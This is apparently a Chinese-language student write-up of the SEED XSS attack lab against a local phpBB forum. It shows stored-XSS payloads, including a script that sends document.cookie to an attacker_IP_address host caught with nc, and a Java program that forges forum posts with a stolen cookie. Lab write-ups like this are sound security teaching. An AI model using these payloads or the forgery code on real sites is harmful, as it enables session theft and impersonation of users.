Cross-Site Scripting (XSS) Attack Lab Solution Seed
Cross-Site Scripting (XSS) Attack Lab
準備工作
啟動伺服器
sudo apache2ctl start
or
sudo service apache2 start
我們檢視var/www/XSS/XSSLabPhpbb下的檔案。由於伺服器的機制,我們可以直接加上 XSS/XSSLabPhpbb的路徑訪問此處。
直接輸路徑相當於直接訪問,這是由於主機設定。這也正是IPv4的地址。使用其他虛擬機器也可以訪問,如果你無法安裝VMtools,那麼這也可以作為一種向外傳遞資訊的方式。另一種向內傳遞資訊的方式也是使用網路。比如可以吧所有的命令寫在一篇文章中https://www.cnblogs.com/skprimin/p/16011145.html,通過網路訪問
訪問網站
也可以使用網址訪問 www.xsslabphpbb.com
這是因為我們已經配置了DNS,這個URL只能從虛擬機器內部訪問,因為我們已經修改了/etc/hosts檔案來對映域名www.xsslabphpbb.com到虛擬機器的本地IP地址(127.0.0.1)。也可以修改/etc/hosts,將任何域名對映到一個特定的IP地址。
賬戶密碼均為admin、alice、bob 。
賬戶 | 密碼 |
---|---|
admin | admin |
alice | alice |
bob | bob |
Task1 釋出惡意訊息以顯示警報視窗
可見我們已經登入成功。點選進入Test Forum1
隨後建立一個新的topic
輸入內容
再submit
提交之後,稍等幾秒便會出現此警告窗。
當再次進入此頁面時也會出現彈窗,我們F12使用Firebug檢視頁面程式碼,通過搜尋功能發現輸入的字串是直接巢狀在頁面中的,沒有進過任何過濾,甚至連簡單的加上引號""都沒有。這也因此使得該字串能被當成JavaScript程式碼執行。
Task2 釋出惡意訊息來顯示cookie
我們對Task1的內容重新編輯,在這裡我們也可以發現其內容是空的,這也是由於輸入的字串被當成程式碼而沒有顯示。
修改post內容
同樣是稍等幾秒便會輸出此彈窗
當我們使用Firebug的net除錯,重新載入頁面,對某一個請求的header進行分析,便可以發現其內容正是Cookie。
Task3 從受害者的機器裡偷Cookie
這裡我們選擇另一臺主機,當然使用同一臺主機也是可以的,理論上只要能相網際網路便可,使用ping命名可以測試相互之間是否能通訊。但實際上這是一門玄學,推薦使用seedubuntu12負責監聽。
獲取地址
ifconfig
攻擊機seed12的id地址
新建post
我們新建一個Topic,輸入對應命令,並提交
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='
+ escape(document.cookie) + ' >'); </script>
This script is to test XSS. Thanks.
監聽
在攻擊機上建立監聽埠。
nc -lv 5555
隨後在seed9上重新整理Task3的頁面,如果伺服器將其當成程式碼解析,那麼會出現一個圖片標識,這時因為我們插入的是<img src=...
標籤。在HTML中是照片標籤,又因為其對應的src引數是不存在的,所以圖片並沒有顯示出來。
讓其載入內容,這時,在監聽埠處便會收到傳送的內容。對比便會發現其內容正是cookie。
Task4:用偷來的Cookie模仿受害者
獲取引數
在竊取了受害者的Cookie後,攻擊者可以對受害者的phpBBweb伺服器做任何事情,包括以受害者的名字釋出新訊息,刪除受害者的帖子,等等。在這個任務中,我們將編寫一個程式來代表受害者釋出一個資訊帖子。
為了建立一個訊息釋出,我們應該首先分析phpBB在釋出訊息方面是如何工作的。更具體地說,我 們的目標是找出當用戶釋出訊息時傳送到伺服器的內容。Firefox的LiveHTTPHeaders擴充套件可以幫助我 們;它可以顯示從瀏覽器傳送的任何HTTP請求訊息的內容。
我們開啟Live HTTP headers
,此處為了減少監聽到其他頁面的無用資訊,我們在Test Forum
頁面再打卡監聽。
開啟監視後,建立一個新的Topic,內容使用容易辨識的標記。
隨後檢視Live HTTP headers,根據標識查詢,鎖定是第二個,其Content中也包含了這次的post內容。
java模擬請求
一旦我們理解了訊息釋出的HTTP請求是什麼樣子的,我們就可以編寫一個Java程式來發送相同的HTTP請求。phpBB伺服器無法區分該請求是由使用者的瀏覽器傳送的,還是由攻擊者的Java程式傳送的。
只要我們正確地設定了所有引數,伺服器就會接受並處理訊息釋出的HTTP請求。為了簡化您的任務,我們為您提供了一個示例java程式: https://www.cnblogs.com/skprimin/p/16011145.html
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn = null;
// 要偽造的URL
URL url = new URL("http://www.xsslabphpbb.com/posting.php");
// 建立URLConnection例項,以進一步引數化資源請求,以後的URL例項可以表示的狀態。
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// AddRequestProperty方法用於新增HTTP標頭資訊。
// 在這裡,我們將使用者代理HTTP標頭新增到偽造的HTTP資料包中。
urlConn.addRequestProperty("Cookie", "");
// HTTP釋出資料包括要傳送到伺服器的資訊。
String data = "username=admin&seed=admin%40seed.com";
// 應該將URL連線的DOUTPUT標誌設定為TRUE以傳送HTTP釋出訊息。
urlConn.setDoOutput(true);
// OutputStreamWriter 位元組輸出流 用於將HTTP POST資料寫入URL連線。
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
//因為URL是HTTP請求, HttpURLConnection 由
// URL.Openconnection()返回URLConnection的子類,
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// 連線Web伺服器並獲取HTTP響應訊息的狀態程式碼。
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP狀態程式碼HTTP_OK表示已成功收到響應。
if (responseCode == HttpURLConnection.HTTP_OK) {
// 從URL連線物件獲取輸入流。
responseIn = urlConn.getInputStream();
// 為位元組讀入流BufferedReader建立一個例項,以按行讀取響應行。
BufferedReader buf_inp = new BufferedReader(new InputStreamReader(
responseIn));
String inputLine;
while ((inputLine = buf_inp.readLine()) != null) {
//System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
根據Live HTTP headers所捕獲的內容,進行修改主要是修改data、Cookie。其data內容事實上就是引數,在一些老網站上,使用POST傳引數時,其網址後面?..&..
正是引數,?表示起始,&就是引數之間的分隔符。
String data = "subject=TASK4java04444&addbbcode18=%23444444&addbbcode20=0&helpbox=Code+display%3A+%5Bcode%5Dcode%5B%2Fcode%5D++%28alt%2Bc%29&message=SKPriminAAAAAAAAAAAAAAAA0000000000000000000000000&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=c50f6a27861e00e5947e7376676e6b80&f=1&post=Submit";
將上述程式碼複製儲存,java檔案的特性,檔名必須要與類名(public class
後面跟著的那個)相同。隨後我們更改部分內容將引數。
上層建立的URL url = new URL("http://www.xsslabphpbb.com/posting.php");
物件。
urlConn.addRequestProperty("Cookie", "")
只需要一個Cookie。Cookie即代表所有,我們平時網站的免登入實際上也是由瀏覽器幫我們儲存了Cookie並自動登入實現的。個別網站可能要user-agent(瀏覽器標識)、referer(防盜鏈)
String data = "";
傳送的資訊
隨後先編譯再執行。響應碼200表示正常。
javac HTTPSimpleForge.java
java HTTPSimpleForge
回到Test Forum1頁面,發現新增了一個post。
內容也確實為我們所更改的